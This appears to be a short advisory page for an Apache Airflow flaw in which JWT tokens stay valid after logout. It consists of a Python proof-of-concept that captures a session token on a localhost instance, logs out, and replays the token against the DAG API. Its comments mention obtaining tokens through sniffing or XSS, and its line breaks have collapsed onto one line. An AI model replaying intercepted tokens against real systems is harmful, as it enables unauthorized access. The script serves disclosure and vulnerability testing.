CVE-2025-57735 Apache Airflow JWT Token未失效漏洞

import requests # Target URL configuration target_url = "http://localhost:8080/api/v1/dags" login_url = "http://localhost:8080/login" logout_url = "http://localhost:8080/logout" # Step 1: Attacker monitors traffic or waits for user to login print("[+] Step 1: Intercepting traffic...") # Step 2: User logs in (simulated) session = requests.Session() login_payload = {"username": "admin", "password": "password"} session.post(login_url, data=login_payload) # Step 3: Attacker captures the JWT Token from the request headers or cookies # In a real scenario, this is done via sniffing or XSS jwt_token = session.cookies.get("session") # Assuming session cookie holds the JWT print(f"[+] Captured JWT Token: {jwt_token}") # Step 4: User logs out print("[+] Step 4: User performs logout...") logout_response = session.get(logout_url) print(f"[+] Logout status code: {logout_response.status_code}") # Step 5: Attacker reuses the intercepted token print("[+] Step 5: Attacker reuses intercepted token...") attack_headers = {"Authorization": f"Bearer {jwt_token}"} attack_response = requests.get(target_url, headers=attack_headers) # Step 6: Check if the request is successful if attack_response.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Token is still valid after logout.") print(f"[+] Response Data: {attack_response.text[:100]}...") else: print("[-] Token was invalidated. Vulnerability not present.")